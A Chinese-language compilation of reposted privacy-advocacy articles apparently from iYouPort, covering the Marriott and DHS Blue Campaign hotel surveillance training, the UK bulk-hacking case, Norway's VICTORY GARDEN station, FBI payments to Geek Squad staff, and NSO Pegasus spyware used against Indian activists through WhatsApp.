长期以来，一直将保护资料来源的安全作为表达自由权所必需的要求。

监视广泛且不受正当程序或司法监督限制的环境无法维持对信息源的保护的需求。尤其是狭窄、不透明、没有文件证明的行政使用，监控会产生令人不寒而栗的效果。

- 这是一系列极为痛苦的案例《他们是如何抓捕说真话的人？⚠灾难和教训》

筛选、监视和对匿名网络的限制，严重阻碍了记者进行研究和调查以及将其作品发布给特定或广泛受众的能力。

这些措施不仅会影响记者自由表达自己的能力，而且还会抑制媒体在维护国家透明度和问责制方面理应发挥的重要作用。

记者由于依赖在线通讯和智能手机设备，因此特别容易成为通讯监视的目标。在记者将调查重点放在政治、宗教、人权等事务上的情况下尤其如此。

人权捍卫者和政治活动家也受到不成比例的监视和审查。哥伦比亚、巴林和阿尔及利亚对人权维护者的惊人监视已得到充分记录。

在这些国家，人权捍卫者和政治活动家报告说，他们的每一个电话和每一封电子邮件都被监控，当局随时跟踪他们的一切活动。

言论自由和信息自由使人权捍卫者可以挑战侵犯人权的行为；如果没有私密性以避免窥探、如果不能绕避国家政权的监视，任何反抗都是不可能的。

认可与承诺

「图」

至关重要的是，各国及其所属的联合国人权机构应该认识到，保护和促进隐私权的重要性，这既是其本身的基本目的，又是自由表达、自由思想和传播信息的基本前提。

联合国见解和言论自由问题特别报告员的最新报告将这些结论推向了现实。

特别报告员强调，“传播监视应被视为一种高度侵犯性的行为，有可能干扰言论自由和隐私权，并威胁民主社会的基础”。

特别报告员继续向各国提出一些建议，其中包括：

- 通讯监视必须受到法律框架的监管，必须严格、且能有效地证明可达到合法目的，并且必须遵守相称的原则；
- 应将针对公共或私人行为者的非法监视定为刑事犯罪；
- 私营部门向国家提供通信数据的行为应由独立机构充分监管和监督；
- 在线匿名不应该被取缔，加密也不应该被取缔。

随着每一项新技术的出现，猫鼠游戏都应该进一步推进 —— 增强的连接性必然会导致更大的机密性破坏的机会。

因此，特别报告员呼吁联合国人权机制在新技术的背景下更新其隐私权的概念。以保证现有的保护措施不会过时。

相反，如果不愿重新概念化关于如何保护我们的隐私，将为各国滥用新技术敞开大门，从而侵犯了每个人在这一过程中的权利，所有这些都是因为有权这样做的人拒绝采取行动。

任何认真对待促进言论自由权的国家，都必须认真对待促进隐私权。

正如不能用所谓的安全作为压制少数派观点的理由一样，也不能用它来实施监视、识别、跟踪、和无故干涉每个人的生活、自治和人格发展。

隐私是阻碍国家政权完全控制社会的根本障碍，所以当权者不会轻易放手。

没有隐私，社会契约就会被打破；没有它，个人就无法再获得其参与建设、成长和思考的民主权利。

无法形成或传播独立思想的公民将不仅被剥夺了隐私权，还同时被剥

夺了人格尊严。自由思考和传授思想的能力对于我们作为人类来说至关重要。

在这里读到这篇报告的原文（西班牙语）〇

原文

大型连锁酒店如何成为监视国家的武器 - iyouport

政府的间谍行为老大哥的真面目

【2019年5月22日存档】这是一种与众不同的群众斗群众，还带培训的，关于”如何发现可疑人”，如果你睡眠不足、穿衣邋遢、停车位靠门、甚至只是带了大帽子和墨镜，都会被视为”危险人物”。尤其是监视者开发了一种技术，可以使用社交媒体情报，机器学习，酒店照片，在线广告和人工智能技术，进行广泛的监视。这是哪里？……

一条推文指责万豪酒店“与联邦政府合作，监视任何独自旅行的女性”，“不允许一些女性独自在酒吧喝酒”……之后万豪的官方账号自豪地证实了这一观点：”你是对的。世界各地的万豪员工正在接受培训，以帮助发现我们酒店的性交易。“

这不仅表明该公司将所有性工作与强迫或未成年卖淫混为一谈，而且，还揭示了这家全球最大的连锁酒店认为所有无人陪伴的女性都值得监控。

在推特上的许多人回应称他们不相信该政策会在阻止性交易方面具有非歧视性或有效性，万豪在没有解释的情况下删除了推文。该公司的一位发言人后来告诉 Reason，该推文“不准确”，并且“对员工的培训中没有建议酒店工作人员寻找独自旅行的年轻女性”，同时将该公司的培训计划归因于“对年轻人的保护”。众议员 Justin Amash（密歇根州）发推文说，他的办公室将调查这一事件。

但此事值得注意的是一个更大的问题。这是国土安全部支持的联盟的一部分，该联盟使用人口贩卖神话和所谓的反恐借口来鼓励公民对公民展开间谍活动，以及开发新的数字监控工具。

不论其理由如何，酒店连锁店采用的监控策略都是酒店业务、联邦执法部门和追求租金的非营利组织之间令人不安的伙伴关系的一部分，这些非营利组织越来越多地寻求追踪人员，特别是女性的行动和下

落，在全国范围内。

在联邦政府的压力下，在关于性交易的性质和普遍性的持续神话的推动下，万豪等连锁酒店已成为监控国家的新领域。就像9/11恐怖袭击事件后完全不加区别的间谍活动一样，这是基于恐慌、偏执和刻板印象得出的结论，而且几乎可以肯定会让更多的无辜者陷入困境。

多年来，联邦政府一直在资助与酒店、航空公司、卡车司机以及其他面向公众的行业建立的监视合作伙伴关系，借口是“阻止人口贩运和性剥削”。从理论上讲，这种伙伴关系使私营部门处于权力滥用的前沿。

然而，在实践中，这些努力基本上已经成为执法驱动的性工作者及其客户、移民和边缘化社区其他成员的攻击。

其中许多努力属于美国国土安全部（DHS）“蓝色运动”的范畴，该运动自2010年起开始实施。蓝色运动最好被理解为对乔治·W·布什政府制定的所谓“反恐战争”监视系统的更新—— 群众斗群众式的。它依赖类似**S4**的策略 即“如果你看到了，那就说出来”，这是由 DHS 开展的一项运动，源于上世纪的纽约。

纽约市努力争取调动普通公民之间的监视，这是9/11后安全战区的一个标志性部分，它仍然象征性地提醒人们，对恐怖主义的广泛恐慌有效地开展了广泛的种族和民族形象宣传活动。

2010年，国土安全部重新启动了S4计划，作为司法部（DOJ）所谓“全国可疑活动报告倡议”的一部分。

在这个框架下工作，蓝色运动寻求“通过对特定行业的培训来收集引导情报，”美国海军中尉指挥官 Brandon R. Winters 在“酒店业打击性交易的角色”一文中写道，这是他的海军研究生论文。该活动“基本上利用美国民众作为全国各地所谓可疑活动的 [人类情报] 收集来源。”

万豪国际集团和许多其他连锁酒店都采用了蓝色运动策略。2017年，万豪为全球75万名员工开展了“反贩运”培训。首席执行官阿恩·索伦森（Arne Sorenson）将其描述为“教育并赋予我们的全球员工以权力，让他们在看到某些事情时立即说出来。”

万豪也是国土安全部关键基础设施跨部门委员会的一部分，该委员会成立于2015年，旨在管理“私营部门合作努力推进”国土安全部的优先事项。在2016年的更新中，理事会主席汤姆·法默说，“公众已经增加

了对可疑活动的报告”，这被归功于他们的努力，但他还说，“需要对应该报告哪些类型的活动，应该向谁报告，以及如何报告”进行额外的教育。“

这项全民举报运动提示：包括寻找疲惫不堪或睡眠不足的客人，不想要清洁员打扫房间的客人，“在餐桌或酒吧等候男性的女性”，停放车辆时远离大门的客人，甚至包括一个有多台电脑或电话的客人，以一个名字预订多个房间的客人，还包括周围有很多安全套或“性玩具”的客人，进入同一个房间的人太多时，以及任何所谓的“不寻常行为”。

简单说就是公开鼓励窥探和窃听。在最近几个引人注目的案例中，接受过这种监视培训的航空公司员工骚扰了不同种族的夫妻和家庭。当人们被要求使用直觉本能来阻止真实但罕见的恐怖时，依赖种族刻板印象和其他偏见往往会非常普遍。

很容易看到，这种监视要求骚扰那些没有任何性交易行为的人，并不符合其宣称。并且，与青少年或成年女儿一起住在酒店的爸爸也应该小心。穿着打扮方面被监视者不喜欢的女性也会成为目标；女性发型师、化妆师或预约酒店进行辅导的私人教练也可能成为目标。

许多反贩运言论鼓励人们把重点放在阶层身份上，重点盯防穿着破旧衣服的人、或与同伴相比衣着方面有明显差异的人。一般来说，任何误解都可能在边缘化群体中最为严重—— 有色人种、同性恋伴侣、跨性别者或性认同少数人群，包括移民。

这就是重点。蓝色运动指示任何发现所谓可疑活动的人致电移民和海关执法局（ICE），或访问 www.ice.gov/tips

2016年6月，康涅狄格州颁布了一项法律，要求该州的酒店工作人员进行这类监视培训；在2018年，纽约立法者也考虑了类似的事。这些活动获得了大量政府和企业拨款，培训提供者可以告诉政府和企业如何“提供帮助”。

但这些消息并未指示监视者就潜在的犯罪行为与当地警方联系。他们说，在紧急情况下拨打911并以其他方式报告给 ICE，或拨打 Polaris 项目管理的“全国人口贩运热线”，这是一个专注于与FBI密切合作的非营利组织。

Polaris Project 和 ECPAT-USA—这是另一个与联邦当局联系紧密的非营利组织—帮助开发了万豪国际培训模块，该模块现在可以从美国酒店和住宿协会购买，并且可以在康涅狄格州的酒店公司免费使用。

ECPAT-USA 自称是国家领导的政策组织，致力于“终止对儿童的商业性和性剥削”，现在正在推行法律，要求酒店员工接受他们设计和从中赚钱的反贩运培训（ECPAT-USA 和 Polaris Project 都没有回复询问）

在酒店管理人员的“最佳实践”指南中，ECPAT-USA 表示，他们应在办理登机手续时要求客人提供带照片的身份证明和车辆信息; “确认所有进入的客人和访客都被捕获面部视频并记录在监视镜头上; “监控在线性广告……以获取您的酒店名称和客房及客人的照片”;阻止访问“热门网站上的在线性广告”; 只有一幢门在夜间开放; 要求酒店客人的所有访客都在前台停留，出示身份证明，并由在大堂的客人会见; 并拒绝接受现金。它要求酒店工作人员加强对所有客人的监控，“警惕接近出口的房间”，注意到如果同一房间的访客太多，报告房间有“多余的安全套，润滑剂，性玩具，内衣”，并且对戴着超大帽子或太阳镜的客人表示怀疑。

各种机构都在幕后开展类似的项目。使用社交媒体情报，机器学习，酒店照片，在线广告和人工智能技术，进行广泛的监视，这些团体—包括国防部的研究部门和美国国家航空航天局（NASA）喷气推进实验室（JPL）—正在构建强大的工具，可以有远超过卖淫的危险用途。

一个这样的工具叫 TraffickCam，这是一个任何人都可以用来上传他们酒店房间的详细照片的应用程序。该项目“允许这些照片直接下载到 FBI 的服务器。该公司表示，截至2017年4月，TraffickCam 已经包含200万张公开图片和126,000张由酒店客人上传的照片。

去年，国家司法研究所（NIJ）向乔治华盛顿大学捐赠了**100**多万美元用于开发**“TraffickCam** 系统的增强版”，该系统可以根据非常小的细节来确定酒店位置。2018年 NIJ 资助的另一个项目是使用“机器学习和社交网络情报分析”来构建“一项重要的新执法能力”：“从在线评论网站”收集和存档数据，目标是开发一个系统，“优化检测和分类在线评论”，类似中国的所谓“舆情分析”。

TraffickCam 和许多相关项目是国防高级研究项目管理（DARPA）Memex 计划的一部分。目前Memex 数据库中有超过1亿份文档，包括来自 Craigslist，Backpage 以及其他分类广告，配合审查，以及社交媒体平台的大量内容存档。

已经为大约8000万个网页和4000万个图像编制了索引。

Memex 缓存的很大一部分也来自军售和评论网站—主要是 Armslist.com，但总共超过80个网站和论坛。 Memex 数据库拥有720万张与枪支销售相关的图像和文件。

仅 Memex 资助的一个项目，称为 DIG，每小时就可以索引**5,000**个网页，并将内容转换为可搜索的数据库。“为了获得足够的数据，DIG 利用[众包市场]亚马逊 Mechanical Turk 招募人员，并突出关键信息，如眼睛颜色，和头发颜色等，”PBS 报道。截至2017年，它已被200多个执法机构使用。

联邦政府正在支付国家的顶级科学思想，假装有可能建立一种嗅探恶人的算法，之后就是处理诸如弄清楚如何使用机器人从受密码保护的网站和论坛中抓取内容 ……一套自动化的大型监视系统就诞生了。

Are You a Woman Traveling Alone? Marriott Might Be Watching You How big hotel chains became arms of the surveillance state.

原文

当法庭和政府穿一条裤子时... - iYouPort

政府的间谍行为

报部门使用黑客技术入侵了数百万台设备，包括计算机和移动电话

「图」

「图」

12月3日和4日，英国最高法院将听取隐私国际组织针对英国政府大规模破解手机和电脑的侵权案件的上诉 。

此案源于调查权力法庭的决定—— 调查权力法庭是一个专门的法院，负责审理针对政府监视问题的投诉，包括对英国情报机构的调查—— 该法庭发现，⚠ 英国政府可以使用“一般授权”来破解数高达数百万台设备。在法庭面前，政府特别承认，原则上使用单一手令入侵在英国城市的每部手机都是“合法的”—— 而法庭同意政府的意见。

在过去四年中，隐私国际组织提交的案件已从法庭移至高等法院，随后是上诉法院，并将于本周递送到英国最高法院。

这是由于英国政府提出的危险意见，即 裁决不能由普通的英国法院作出。政府的胜利将是对法治的重大打击，因为普通法院有助于纠正法律错误、并防止专门法庭在没有问责的情况下开展工作。这一原则在大规模监视的环境中尤其重要，由于其固有的保密性，长期以来对公民问责存在着严重的挑战。

2014年，隐私国际开始打击大规模政府黑客行为，此前有披露表明，情报部门使用黑客技术入侵了数百万台设备，包括计算机和移动电话。在诉讼期间，政府声称它可以依靠一般授权来进行这种入侵。事实上，它认为使用单一手令来破解英国城市的每部手机“都是合法的”。

2016年5月，Privacy International 前往英国高等法院，质疑调查权

力法庭的决定，即英国政府可以进行批量的黑客行为。政府的回应是辩称法庭的决定不适合司法审查，因为高等法院的管辖权被 2000 年颁布的“调查权力法案”（“RIPA”）所取消。2017 年2月，英国高等法院同意英国政府的立场，尽管其中一位法官表示严重保留意见。

隐私国际组织于2017年2月向英国高等法院上诉。2017 年11月，上诉法院驳回了隐私国际组织的上诉，裁定有利于政府。2018 年3月，最高法院准许听取上诉。听证会将于 2018 年12月3日至4日举行。

PRESS NOTICE: PRIVACY INTERNATIONAL TO APPEAR BEFORE SUPREME COURT IN LEGAL BATTLE AGAINST UK GOVERNMENT HACKING POWERS Privacy International’s case arose from a decision by the Investigatory Powers Tribunal—a specialised court set up to hear complaints against government surveillance, including by the UK intelligence agencies—finding that the UK government may use ‘general warrants’ to hack potentially thousands or even millions of devices, without any finding of individualised suspicion. Before the Tribunal, the Government made the extraordinary admission that it would be lawful in principle to use a single warrant to hack every mobile phone in a UK city—and the Tribunal agreed with the Government.

原文

忘记面部识别吧，智能手机监控你如何行走、如何打字以及”空闲时间都干了什么” - iyouport

你我的灾难现实技术暴政政府的间谍行为

【2019年4月25日存档】国防部与一家名为TWOSENSE.AI 的纽约公司合作，推出了一种可嵌入智能手机的AI算法，它是什么样的？

国防部与一家名为 TWOSENSE.AI 的纽约公司合作，推出了一种可嵌入智能手机的AI算法，能够通过人们的谈话方式识别设备所有者、类型、走路、甚至“如何度过他们的空闲时间”。

TWOSENSE.AI正在与国防部合作建立一个 SaaS 产品，该产品最终可以取代当前用于在登录部门网络时验证员工身份的访问卡。

更多详见：《你正在为一个贴身老大哥努力工作：地狱的新常态》

AI不断监控用户的一切行为，包括他们如何携带设备、如何打字、如何走路。然后，系统使用这些参数自动验证用户的身份，使他们能够在整个安全网络上无缝工作，而无需每次都登录。

与中国的隐私权侵犯发展模式很类似，该系统根据算法对目标人打出“信任评分”。国防信息系统局网络创新部门负责人 Jeremy Corey 在5月份表示：“检查分数以确保其符合预期的门槛……这个阈值是由我们正在试验的原型创造者预先确定的。这可以由应用程序所有者配置，只要它在授权官员的可接受风险级别内。“

这份合同价值240万美元，于去年10月颁发，该机构允许某些机构签署联邦采购法规范围之外的高级研究合同。据 DISA 的一位技术总监称，去有75个原型机已经交付进行测试。经过测试，该技术将在被国防部收购之前嵌入到某些智能手机中。

TWOSENSE.AI首席执行官 Dawud Gordon 说：“DISA 和

TWOSENSE.AI都认为持续认证是保证身份识别的基石。基于行为的身份认证对用户是不可见的，因此可以连续使用，而无需任何额外的工作。“

简单说就是，你可以临时伪装步态以欺骗中国那种步态识别监视系统，但你无法欺骗这种植入手机的步态监视器，因为没有人能做到永远伪装步态。

据报道，该项目正在通过 DISA、高通和三星之间的“现有伙伴关系”开展工作。

Forget Face ID: Smartphones Will Monitor How Workers Walk, Type And “Spend Their Free Time”. Similar to privacy-stripping developments in China, the system updates a “trust score” as it tracks these metrics…

原文

执法部门正在大力投资骇客技术，用于攻击他们想要的一切人 - iYouPort

政府的间谍行为

网络战，你已经没有退出的选项

「图」

「图」

十年前，一名联邦调查局官员冒充美联社记者，引诱和追踪一名涉嫌向其学校发送恶作剧炸弹的少年。为了找到这个孩子，联邦调查局特工冒充记者，使用社交工程学发送钓鱼邮件，链接上充斥着恶意软件，一旦点击就会迅速曝光少年所在的位置。

最近，联邦调查局对钓鱼网站进行了大规模升级，以便向所有访问者发送恶意软件，不分青红皂白地针对访问这些网站的个人"进行识别和跟踪"。

当谈到美国政府使用复杂的骇客工具进行监视追踪时，这些例子可能只是冰山一角。

这些技术引起了严重的担忧，尤其是因为它们具有明显的破坏性威胁，对手机、电脑和其他所有电子设备，这些设备提供了一个人生命中最私密的细节。

也很容易想象这些工具会如何被滥用。仅仅以邻国墨西哥为例：墨西哥政府向政治异议的支持者发送携带受恶意软件的短信，以追踪和恐吓人们。

9月10日，隐私国际组织（PI）、美国公民自由联盟（ACLU）、以及布法罗大学法学院（CLTC）的公民自由与透明诊所，提交了一系列信息自由法案（FOIA），请求寻求美国联邦执法机构使用此类骇客工具的基本记录。信息自由法案的要求旨在揭示管理这些技术使用的基本规则，有关使用频率的信息、以及对潜在滥用的任何内部调查。

执法官员已经开始使用商业和定制的骇客工具来干扰计算机系统，以便访问和收集高度敏感的信息，包括个人的位置、互联网活动、通信和私密文件等。虽然其中一些骇客工具是内部开发的，但在许多情况下，美国政府已从私营公司"购买"这些"技术"。

已经有越来越多的报告显示，美国执法部门正在大力投资骇客技术。

联邦调查局已花费超过 100 万美元获取软件以破解锁定的 iPhone，并表示将继续投资此类技术；移民和海关执法局（ICE）从以色列监视公司 Cellebrite 购买了 200 万美元的骇客技术，此外还记录了从其他监视技术公司购买骇客软件的情况；同样，缉毒机构（DEA）已经花费了近 100 万美元用于从臭名昭著的 Hacking Team 意大利监控技术公司购买骇客技术，并表示对 另一个臭名昭著的以色列 NSO 集团生产的骇客工具感兴趣。

- 延伸阅读：《以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港》
- 使用 NSO 的间谍软件，攻击者可以通过命令和 C2 服务器远程操控受害者手机，进行敏感信息窃取，回传包括密码、联系人列表、日历事件、短信和流行聊天 APP 的语音呼叫等信息，攻击者甚至还能远程受害者手机摄像头和麦克风来捕捉手机附近的活动行为。
- 《Wikileaks：异议记者遇害案嫌犯之一曾接受 Hacking Team 间谍软件培训; 与沙特王储关系密切》
- 2015 年间谍软件供应商 Hacking Team 似乎已经完了，内部电子邮件和间谍软件源代码在网上泄露，任何人都可以看到。但是，三年后的如今，该公司居然又活过来了。 这要归功于 2016 年一位神秘投资者的现金涌入 —— 该投资人是沙特皇家宫廷顾问 HE Saud Al-Qahtani
- 这篇文章有提到意大利监控技术公司 Hacking Team《 危险：监控技术公司正在推动对零日漏洞的利用 》
- 这里是最全的：Wikileaks 的 Hacking Team 档案馆

政府这些对骇客技术的大举投资引起了人们的严重关注，因为入侵行为对我们的隐私和安全构成了独特而严重的威胁。骇客攻击是非常具有侵入性的，既可以远程访问系统，也可以实时监控。

骇客技术也严重缺乏针对性和最小化使用指标，特别是当它们被用于同时获得与许多个人有关的信息时 —— 也就是说，即便目标人很有可能是毒贩，但其电子设备中的私密信息与其他许多无辜的人相关联，这种入侵将危害所有人。

并且，骇客攻击同样具有严重的安全风险，因为它涉及利用数百万设备可能使用的系统中的安全漏洞；骇客技术也会破坏网络信任，因为它们经常依赖社交工程学、或彻头彻尾的欺骗（就如 FBI 官员假扮记者），以便获得对目标系统的访问权限。

- 延伸阅读：在中国已经发生了同样的事《网络战：!社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？》
- 《肉眼看不见的入侵：政府间谍工具就隐藏在正版 WhatsApp 和 Skype 中》

出于这些原因还有其他更多原因，政府使用骇客行为明显违反宪法、法律和国际人权标准。

同时，就目前而言，公众对于政府如何看待管理这些工具用于执法目的的规则一无所知。第四修正案通常要求在搜查或扣押之前根据可能原因的结果给出保证。但目前还不清楚执法机构是否想到过司法授权，或者根本没有事先授权。此外，对执法机构为规范骇客攻击技术的部署所采用的内部规则知之甚少。一切都是不透明的。

因此，Privacy International 组织及其合作伙伴正在寻求有关管理骇客技术使用的内部规则、协议和政策的信息，以及政府对适用的法律或宪法条款的解释。“信息自由法案”还可以寻求有关执法部门使用这些技术入侵公民的频率、以及在何种情况下使用的基本信息。

如果没有关于政府如何使用骇客工具的更多信息，公众就无法了解并有效地规范政府对这些技术的使用。公众应该知道执法部门正在使用什么骇客技术，可以从中获取哪些信息，管理这些技术使用的规则，以及可以采取哪些保护措施来限制从骇客行为中收集的信息的保留和使用。通过这些 FOIA 请求，国际隐私组织、ACLU 和 CLTC 正在寻求填补这一空白。○

原文

挪威如何使用 NSA 的技术进行潜在的非法间谍活动？ - iYouPort

政府的间谍行为

挪威纳税人掏钱买来一个老大哥，却连打听“这是怎么回事”的权利都没有。

曾经一个新闻记录片在金正恩政府的核武器实验后的庆祝会上采访朝鲜人，问他们对“这东西”怎么看，一个朝鲜导游居然指着核弹头模型称之为“卫星”。

没错，老百姓就是被怎么告知的，就如挪威老百姓被告知，这种用于大规模监控的玩意儿是“通讯天线”……也许我们用朝鲜来对比会让您觉得不舒服，但无法否认，这种对公民的欺骗手段同出一辙。

极权国家的老百姓就是天然的聋瞎哑，但民主国家宪法承诺的公民监督权也被剥夺了，这是为什么？永远不要听信当权者的天花乱坠，公民应该保持对透明度的严格追求。Hell is full of good meanings, but heaven is full of good works.

「图」

「图」

在奥斯陆西北方向 40 英里的一个废弃的军事设施背后，挪威与美国国家安全局密切合作建立了一个监视基地。

你能看到明亮的白色卫星天线，其中一些直径 60 英尺，在松树覆盖的山丘和红色屋顶建筑的背景下被突出出来，在这片地区散落着。

保密文件将该设施描述为“最先进的”设施，其功能“以前未在 NSA 之外推出过”。尽管挪威的纳税人为此支付了超过 3300 万美元的巨额资金，但挪威情报局仍将该站点的运营保持在公众监督之外。

这个代号为 VICTORY GARDEN 的站点表面上是为了支持在海外服役

的挪威军队并“打击恐怖主义”，但是，它撒开的大网中还秘密捕获了守法的挪威公民与他们的朋友、家人或外国同事之间传输的电话和电子邮件的全部记录，The Intercept 和挪威广播公司（NRK）的调查对此作出了的揭示。

据知情人士透露，2014 年，该基地的数据收集问题成为了挪威情报局与监督该国间谍机构行为的监督委员会之间的闭门争端的重点。情报部门认为监视是“合法和必要的”，但该委员会不同意，并指出存储和搜索挪威公民的通信记录的做法在法律上是可疑的。直到如今分歧仍然没有得到解决，与此同时，这种大规模监视似乎一直没有减弱。

动图 The station in Norway grew in the time period from 2004 to 2016. Images: NRK/Norwegian Mapping Authority

：https://cdn-images-1.medium.com/max/1920/1*EyREVjf7O4ItnwU65qRp7Q.gif

挪威情报局和美国国家安全局之间的合作始于20世纪50年代初，当时挪威和美国签署了一项名为 NORUSA 的协议。由于其地理位置靠近苏联及其位于科拉半岛的潜艇基地，挪威在冷战期间以其独特的视角提供了有关苏联潜艇、导弹系统和军事活动的诸多情报。

此后两国继续密切合作。 2001 年，根据 Edward Snowden 提供的文件揭示，挪威向美国国家安全局寻求购买外国卫星监视技术，这种技术被称为 FORNSAT。两年后，国家安全局为挪威人提供了四个特殊的天线，每个功能的代号之灵感都看似来自不同类型的花园—WINTERGARDEN，FLOWERGARDEN，TOPIARYGARDEN 等等—共同组成了一个VICTORYGARDEN。

挪威情报机构派遣员工多次前往美国国家安全局接受培训和测试设备，来自华盛顿州现已解散的 NSA 亚基马基地的一个代表团曾前往挪威。与此同时，位于奥斯陆的 NSA 员工接收了 90 多个装有电子设备的集装箱，这些集装箱是用船和飞机运送过来的，消息来自 2005 年 10 月 SIDtoday 上的一篇关于 NSA 的内部新闻通讯。两个月后，即 2005 年 12 月 15 日，挪威情报局局长 Torgeir Hagen 宣布 VICTORYGARDEN 正在运作。美国国家安全局在庆祝该基地开幕式的文章中宣称：“我们才开始看到未来有可能使我们的国家和自由世界受益。”

挪威国际事务研究所研究员 Erik Reichborn-Kjennerud 表示，这些文件为挪威与 NSA 的关系如何演变这一问题提供了罕见的见解。

Reichborn-Kjennerud 说："似乎挪威要求越来越多的能力，包括使他们能够更好地进行监视的培训。" "在挪威，关于这一点的公众辩论很少。"因为老百姓什么什么都不知道。

直到最近都是如此，位于奥斯陆附近的监视站是如此的保密，以至于监督委员会在年度报告中都无法提及它。挪威国防预算内参指其为"国防卫星地球站的现代化"，但没有将这些与情报部门联系起来。当地媒体被告知，这些大盘子（天线）被用于与北约合作伙伴和海外挪威军队的通信。

「图」

「图」

U.S. Secretary of State Rex Tillerson, right, talks as he stands with Norwegian Foreign Minister Ine Marie Eriksen Soreide, left, at the State Department in Washington, Thursday, Jan. 11, 2018. Photo: Susan Walsh/AP

在 2017 年国家议会选举期间，当时的国防部长 IneEriksenSøreide 参观了该设施。"卫星通信非常重要，当海上护卫舰需要与指挥中心沟通时"，她就是这么告诉当地报纸 Ringerikes Blad 的，而该报纸连脑子都不走就把当权者的原话发布出来了。"她宣布增加2亿挪威克朗（2500万美元）资金，用于加强网络防御和其他卫星设备。

延伸阅读："//媒体，你真的知道什么是事实吗？//"

但是，除了启用"卫星通信"之外，该站还有很多其他功能。**Snowden** 提供的文件表明，**VICTORY GARDEN** 可以"**"看到 130 颗外国卫星"**" —— 表明它可以利用流经它们的通信，包括国际电话和电子邮件，以及各种类型的元数据。

VICTORY GARDEN 的天线针对挪威情报局希望收集信息的国家，以支持挪威在阿富汗、伊拉克和叙利亚等国的利益和干预措施。但挪威的间谍也使用该基地进行更具争议的目的，此前并未公开披露过：多年来，他们收集了有关挪威人与外国人交流的所有元数据，并通过可搜索的数据库访问这些记录。 **2014** 年，监督委员会发现了这种做法并开始引以关注。

"我们最重要的任务是确保挪威情报局不监视挪威公民。这不是他们的工作，"委员会主席 EldbjørgLøwer 在接受采访时表示。 "我们不确

定他们进行这些行动的方式是否能足够基于法律。”

「图」

「图」

Antennas at the Norwegian Intelligence Service surveillance base in Ringerike, 40 miles northwest of Oslo. Photo: Norwegian Armed Forces

情报部门告诉委员会，挪威公民的元数据用于“确定新的目标”。他们否认其使用截获的通信“绘制国内关系或与挪威人有关的事项”。该国国防部长 Frank Bakke-Jensen 声称，间谍机构“不对挪威公民进行监视。”但他补充说，“立法需要更新。”呵呵。

在回答有关这篇报道提出的问题时，挪威间谍主管 Morten Haga Lunde 表示，目前正在制定的新法律将解决监督委员会的关于合法性的问题。（简单说就是修改法律以令大规模监控合法）

目前尚不清楚迄今为止有多少挪威人的通讯处于这种监视之中。情报部门的发言人拒绝提供相关信息。

The documents provided by Snowden state that VICTORY GARDEN can “see 130 foreign satellites”—indicating that it can tap into communications passing across them, including the contents of international phone calls and emails, as well as various types of metadata. NORWAY USED NSA TECHNOLOGY FOR POTENTIALLY ILLEGAL SPYING by Henrik Moltke

原文

揭秘：情报机构贿赂技术人员窃取公民个人信息 - iYouPort

政府的间谍行为

最近令人关注的第四次修正案侵犯事件又出现了令人惊叹的新报告：联邦调查局一直在贿赂百思买极客小组的员工，侵入计算机长达10年！

信息自由法案诉讼中显示，技术人员被支付500～1000美元收买为“线人”，并被鼓励搜索客户的计算机上的任何信息。

最近向 EFF 发布的文件详细介绍了 FBI 与百思买的密切关系，EFF 说：“这种关系可能会阻碍计算机所有者的第四修正案权利。

我不相信中国没有这种现象。

大型互联网公司都与政府和情报机构息息相关，现在只是在不断补充证据，对 Google 和 FB 一样，对 BAT 也一样。

中国缺乏的是证据，以及公众对证据的反应。

犬儒主义会扼杀一切努力，除了埋怨“没有公民社会空间”之外是否应该想象一下，如果中国有 EFF 那样的组织，揭露了这些事实，结果将是什么？变革的曙光？还是被加强的自我审查？

你必须试试才能知道。

The FBI has been bribing employees of Best Buy’s Geek Squad to hack into computers for the past 10 years, according to a stunning new report that raises concerns over Fourth Amendment violations.

原文

政府能否摆脱其在公民身上使用WhatsApp间谍软件的嫌疑？ - iYouPort

政府的间谍行为

这是个很好的提问。因为也许很难获取直接证据以证明是政府亲手操作的。但是辩论中公民代表必须能逼问政府最关键的问题，如果政府不能合理回答，将无法摆脱重点嫌疑

「图」

「图」

印度有成千上万的人使用端对端加密的 WhatsApp 通话方式来避免政府的监视 —— 这种监视无处不在且不受监管，人们不得不假设当局已经找到了破解 WhatsApp 的方法。

在去年10月，这一假设得到了证实。甚至被证实了"更多"。

事实证明，以色列最臭名昭著的**NSO**集团出售的全球最先进的间谍软件**Pegasus** 可以使用 **WhatsApp**（以及许多其他消息传递服务）帮助政府骇客入侵目标人的电话 —— 这种东西只卖给政府。

它只需要给目标人拨打一个电话，不论是否被接听，都能成功入侵。即 黑市上售价最高的 “无交互攻击”。

这种恶意的音频或视频通话（通常来自国际号码）不仅会破解通讯本身，还能入侵包括密码、电子邮件、文本消息、日历、照片、联系人列表 ……在内的整个手机。甚至可以打开用户设备的摄像头和麦克风进行直接监视监听。

而受害人完全不会发现。

我们曾经上传过 **Pegasus** 间谍软件的文档，您可以在这里看到：https://t.me/iyouport/6379

这种间谍软件—— 以色列 NSO 生产的 Pegasus—— ⚠ 已经感染了45个国家地区，被用来监视和迫害异议人士，包括香港。

请注意，**并不确定** 中国大陆当局是否在本地使用了这种间谍软件，因为无法对中国做DNS缓存探测。在这里看到详细报告。

沙特被肢解的异议人士 Jamal Khashoggi 就是被这个东西杀死的。

并且，以色列间谍软件公司出售这种监视技术和知识，在**130**个国家针对记者、异议人士和**LGBT**人群，在这里看到详细报告。

scroll 获得了有关此次 WhatsApp 间谍活动关键针对目标的信息。

该间谍软件所针对的总计约**1,400** 名 **WhatsApp** 用户。

该间谍软件并不便宜 —— 2016年的价格表显示，前10个攻击目标的成本超过100万美元。这意味着它不会像常规病毒那样大规模传播，而是必须有高度针对性的使用。

多伦多大学网络安全小组“公民实验室”与 WhatsApp 合作，一直在向某些人发出警告，告知他们已成为攻击目标。

在印度，至少包括17个人，主要是人权活动家、律师、学者和新闻记者，他们向 Scroll 确认他们都已经感染这种间谍软件。

揭露提出了一些问题。

政府能否认部署了此间谍软件吗？

印度信息与科技、法律与司法联盟部长 Ravi Shankar Prasad 表示，政府对安全漏洞 “表示关注”，印度已要求 Facebook 拥有的消息服务 “进行解释”。

他的发言像所有当权者那样官僚和扯蛋，坚持认为国家机构出于对所谓的 “国家利益” 的明确理由，有一套完善的协议以拦截印度国内的公民通话。然后他利用这个机会在国会上大肆宣传，提醒公众有关上届政府操作的国家监视的指控。

这还不够。尽管 NSO 拒绝阐明该间谍工具的细节，但该公司明确声称仅将其间谍软件零售给政府客户。

